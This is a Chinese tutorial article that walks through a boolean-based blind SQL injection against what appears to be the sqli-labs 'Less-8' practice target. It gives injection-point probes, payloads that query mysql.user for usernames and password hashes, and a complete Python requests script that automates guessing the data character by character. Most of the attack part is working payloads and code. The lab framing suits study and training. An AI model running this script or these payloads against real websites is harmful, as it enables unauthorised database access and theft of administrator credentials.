Python猜解网站数据库管理员密码的脚本

 更新时间:2022年02月18日 10:07:19   作者:士别三日wyx  
这篇文章主要和大家分享一个Python脚本,可以实现猜解网站数据库管理员的密码。文中的示例代码讲解详细,需要的小伙伴可以参考一下

一、功能分析

简单分析一下网站的功能,大致如下:

需要用户在地址栏中提交参数,根据参数中的id查询对应的用户信息。

如果id存在,则显示查询成功,比如 输入?id=1

如果id不存在,则页面空显示,比如输入 ?id=0(用户id不能是0或负数,id为0时,查询结果为空,会导致页面空显示)

如果数据库报错,页面也是空显示,比如输入?id=1’ 或 ?id=1"(参数中携带引号会导致数据库报错,前提是后台代码未过滤单引号)

二、思路分析

页面没有显示位,不适合联合注入。

没有数据库的报错信息,不适合使用报错注入。

只有正确和错误两种情况,推荐使用布尔盲注。

网站没有过滤参数,不需要绕过,盲注的时间复杂度较高,文末提供Python脚本。

三、步骤实现

1)判断注入点

输入参数 ?id=1’,页面空显示,说明单引号被数据库识别,导致数据库报错。

输入参数 ?id=1",页面正常显示查询成功,说明双引号未被数据库识别;1" 被数据库识别成了 1,实际查询了id为1的用户。

单引号可以识别,双引号不被识别,初步判断:网站的注入点是单引号,下面使用万能账号进一步验证。

输入 ?id=1’ and 1 – a,页面正常显示,查询成功。

输入 ?id=1’ and 0 – a,页面空显示,未查询到。

人为构造参数可以使页面产生对应的变化,由此判断,网站存在注入,注入点为单引号字符型注入。

2)猜解长度

输入参数 ?id=1’ and length(“abc”)>1 – a,页面正常显示查询成功。

length(“abc”)可以计算出字符串“abc”的长度,长度为3。

length(“abc”)>1 结果为 true,因此,参数等价于 ?id=1’ and 1 – a。

输入参数 ?id=1’ and length(“abc”)<1 – a,页面空显示。

length(“abc”)<1 结果为 false,参数等价于 ?id=1’ and 0 – a。

由此可以推断出,长度函数未被过滤,可以正常使用,接下来我们开始猜解数据库管理员密码的长度。

mysql.user表用来存放数据库的用户名和密码等信息,我们查询这个表即可。

输入以下payload:

?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=1 -- a

我们先假设用户名和密码的总长度为1,结果肯定是空显示,我们将测试长度依次递增,测试2到n,当测试长度递增到42时,页面正常显示,由此可判断用户名和密码的总长度为42,payload如下:

?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=42 -- a

3)猜解数据

长度确定后,我们从第一个字符开始,猜解出完整的数据。

ASCLL码表中包含了字符的所有可能性(字母、数字或特殊符号),ASCLL总共127个字符,其中可输入的字符只有32~126,我们穷举每一种可能性,即可猜解出

完整的数据。

我们先假设第一个字符的ASCLL码是32,payload如下:

?id=1' and ascii(substr(
    (select group_concat(user,password)
    from mysql.user)
,1,1))=32 -- a

页面空显示说明错误,我们从32开始递增至126,当页面正常显示时(出现 You are in……),说明猜解正确。

4)猜解脚本

使用盲注时,手动猜解时间成本太大,推荐使用Python猜解,脚本如下:

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://a30842672c28473a956dc5ae3233d655.app.mituan.zone/Less-8"
# 猜解长度使用的payload
payload_len = """?id=1' and length((
                    select group_concat(user,password)
                    from mysql.user
                ))={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((
                    select group_concat(user,password)
                    from mysql.user
                ),{n},1))={r} -- a  """

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    for l in range(1, length+1):
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
getStr(url, payload_str, getLength(url, payload_len))

脚本猜解结果如下,成功猜解root用户密码:

到此这篇关于Python猜解网站数据库管理员密码的脚本的文章就介绍到这了,更多相关Python猜解管理员密码内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • 详解Python不同版本之间的切换方法

    详解Python不同版本之间的切换方法

    本文主要介绍了详解Python不同版本之间的切换方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-03-03
  • Python脚本/代码的几种常见运行方式

    Python脚本/代码的几种常见运行方式

    我们知道,python脚本或者说python程序其实是一个包含了python代码的文件,通过运行python代码,我们可以验证脚本/程序是否按照我们的期望执行,在python中,有多种方式来运行脚本或程序,取决于小伙伴们的需求,接下来小编将介绍几种常见的 python 代码运行方式
    2023-10-10
  • 如何在mac环境中用python处理protobuf

    如何在mac环境中用python处理protobuf

    这篇文章主要介绍了如何在mac环境中用python处理protobuf,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2019-12-12
  • Django开发web后端对比SpringBoot示例分析

    Django开发web后端对比SpringBoot示例分析

    这篇文章主要介绍了Django开发web后端对比SpringBoot示例分析,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-12-12
  • python画图时设置分辨率和画布大小的实现(plt.figure())

    python画图时设置分辨率和画布大小的实现(plt.figure())

    这篇文章主要介绍了python画图时设置分辨率和画布大小的实现(plt.figure()),文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-01-01
  • pygame实现俄罗斯方块游戏(基础篇1)

    pygame实现俄罗斯方块游戏(基础篇1)

    这篇文章主要为大家介绍了pygame实现俄罗斯方块游戏基础的第1篇,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2019-10-10
  • 不到40行代码用Python实现一个简单的推荐系统

    不到40行代码用Python实现一个简单的推荐系统

    这篇文章主要给大家介绍了如何利用不到40行python代码实现一个简单的推荐系统,文中通过示例代码介绍的非常详细,对大家学习或者使用Python具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧
    2019-05-05
  • Python正则表达re模块之findall()函数详解

    Python正则表达re模块之findall()函数详解

    在python中,通过内嵌集成re模块可以直接调用来实现正则匹配,其中re.findall()函数可以遍历匹配,可以获取字符串中所有匹配的字符串,返回一个列表,这篇文章主要给大家介绍了关于Python正则表达re模块之findall()函数的相关资料,需要的朋友可以参考下
    2022-07-07
  • Python科学计算之NumPy入门教程

    Python科学计算之NumPy入门教程

    这篇文章主要介绍了Python科学计算之NumPy,文中给出了详细的介绍与示例代码,对大家的理解具有一定的参考借鉴价值,有需要的朋友可以一起来学习学习。
    2017-01-01
  • 原理解析为什么pydantic可变对象没有随着修改而变化

    原理解析为什么pydantic可变对象没有随着修改而变化

    这篇文章主要介绍了为什么pydantic可变对象没有随着修改而变化的原因解析,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-05-05

最新评论